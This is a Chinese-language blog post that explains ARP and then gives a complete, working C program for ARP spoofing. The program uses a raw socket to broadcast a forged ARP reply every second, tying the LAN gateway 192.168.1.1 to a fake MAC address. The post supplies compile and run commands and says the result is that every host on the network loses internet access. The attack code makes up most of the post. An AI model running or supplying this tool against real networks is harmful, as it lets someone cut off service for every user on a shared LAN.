现在的位置: 首页 > 综合 > 正文

TCP/IP协议分析–ARP欺骗

2018年02月11日 ⁄ 综合 ⁄ 共 2593字 ⁄ 字号 评论关闭

本来想解析一下IP包的,不过有点累,先弄个ARP欺骗的小玩具吧。

首先,局域网内两个主机(假设A和B)想要通信,A必须知道B的MAC才能给B发送数据,而要A想要获取B的MAC,需要根据B的IP发出ARP请求,ARP请求包是一个广播包,这意味着局域网内所有的机器都可以接收到这个包。正常情况下,只有目的主机B才会回应此ARP请求,但是如果局域网内还有一台主机C,也不停的回应这个ARP请求,并且在应答包中提供一个错误的MAC地址,那么A主机就会被欺骗,因为A主机总会使用最新的ARP应答包中的MAC。

好吧,结合实际来制作一个ARP欺骗的小工具。

我的网络环境是这样的,多人共享一个无线路由器上网。无线路由的IP是典型的192.168.1.1,路由的MAC d8:15:0d:c9:6c:1a。

当主机发送一份IP包时,会先检测主机中的路由表,如果有符合,则按发往该表项指定的目的地址,如果没有符合,则发往默认网关。选路的具体细节可以参看TCP/IP协议卷。对于我的网络环境来说,所有发往外网的数据包均会发到192.168.1.1这个地址。

那么,就拿这个地址来欺骗吧。

首先,定义ARP包结构体

//eth.h  
#ifndef  __ETH__  
#define  __ETH__  
  
typedef unsigned int   u32;  
typedef unsigned short u16;  
typedef unsigned char  u8;

/*链路层结构*/
typedef struct  
{  
    u8 destMAC[6];   //目的MAC  
    u8 sourMAC[6];   //源MAC  
    u16 type;        //类型  
    u8 data[1500];   //数据  
}ETH_HEADER; 
/*链路层数据包类型*/
typedef enum  
{  
    ARP_PACKET=0x0806,      //ARP包  
    RARP_PACKET=0x8035,     //RARP包
    IP_PACKET=0x0800        //IP包
}PACKET_TYPE;

/*ARP包结构*/
typedef struct
{
    u16 hardware;        //硬件地址类型,1表示MAC地址
	u16 protocol;        //协议地址类型,0x0800表示IP地址
	u8	mac_len;         //硬件地址的长度,对于MAC地址为6
	u8	ip_len;          //协议地址长度,对于IP地址来说有4和6,对应IPV4和IPV6
	u16	op;              //操作类型,1表示ARP请求,2表示ARP应答
	u8	sourMAC[6];      //发送者MAC地址
	u8	sourIP[4];       //发送者IP地址
	u8	destMAC[6];      //目的MAC地址,对于请求来说,这里是全0
	u8	destIP[4];       //目的IP地址
}ARP_STRUCT;
/*ARP操作类型*/
typedef enum  
{
    ARP_REQUEST=1,
    ARP_REPLY=2,
    RARP_REQUEST=3,
    RARP_REPLY=4
}ARP_OP;

  
#endif

我们来用最简单直接的方法来欺骗其他主机,发送代码也尽量简单:

//arp_rep.c
#include <stdio.h>
#include <string.h>
#include <netinet/ether.h>
#include <netpacket/packet.h>
#include "eth.h"

typedef struct                 //定义一个ARP类型的以太网桢结构
{
	u8 destMAC[6];
	u8 sourMAC[6];
	u16 type;
	ARP_STRUCT arp_reply;
}ETH_arp;

#define ltom(L) ((L>>8)|((L&0xff)<<8))	//大小端字节顺序转换

int main(int argc, char *argv[])
{
	int socket_fd;
	struct sockaddr_ll sll;
	ETH_arp reply=
			{
				.destMAC=0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,		//广播一个ARP应答……
				.sourMAC=0x88,0x9f,0xfa,0x87,0x99,0x3e,  //自己网卡的物理地址
				.type	=ltom(ARP_PACKET),
				.arp_reply=
				{
					.hardware=ltom(1),
					.protocol=ltom(IP_PACKET),
					.mac_len=6,
					.ip_len=4,
					.op=ltom(ARP_REPLY),
					.sourMAC=0x11,0x22,0x33,0x44,0x55,0x66,  //一个不存在的MAC
					.sourIP=192,168,1,1,		//默认网关,局域网内所有需要外发的包均发往这个地址
					.destMAC=0,0,0,0,0,0,	//ARP应答并不关注这里的地址
					.destIP=0,0,0,0,		//也不关注IP
				}
			};
	socket_fd = socket(PF_PACKET,SOCK_RAW,htons(ETH_P_ALL));
	if(socket_fd<0)
	{
		printf("create socket failure!\n");
		return -1;
	}
	bzero(&sll,sizeof(sll));
	sll.sll_ifindex = 3;		//lo为1,eth0为2,eth1为3,我用的无线网卡(eth1),所以这里值是3
	while(1)
	{
		sleep(1);   //每隔一秒发送一次
		sendto(socket_fd,&reply,sizeof(reply),0,(struct sockaddr *)&sll,sizeof(sll));
	}
	return 0;
}

编译 gcc arp_rep.c -o arp_rep

运行./arp_rep

我们广播了ARP应答包,并且欺骗所有的主机,告诉它们192.168.1.1的物理地址是0x11,0x22,0x33,0x44,0x55,0x66,很显然这个MAC地址是我们杜撰的。局域网内所有主机发往外网的数据包,本应该发送到路由d8:15:0d:c9:6c:1a,但是由于我们的欺骗,数据包被发送到了0x11,0x22,0x33,0x44,0x55,0x66这个不存在的MAC上,所以没有主机对这些数据包进行转发或者回应,这些数据包就被无情的丢弃了。具体效果,就是所有的主机(包括自己)都无法访问外网……当然如果有机器在静态路由表中添加了正确的表项,那么该主机就会忽略这个ARP应答包,欺骗就会失败……

抱歉!评论已关闭.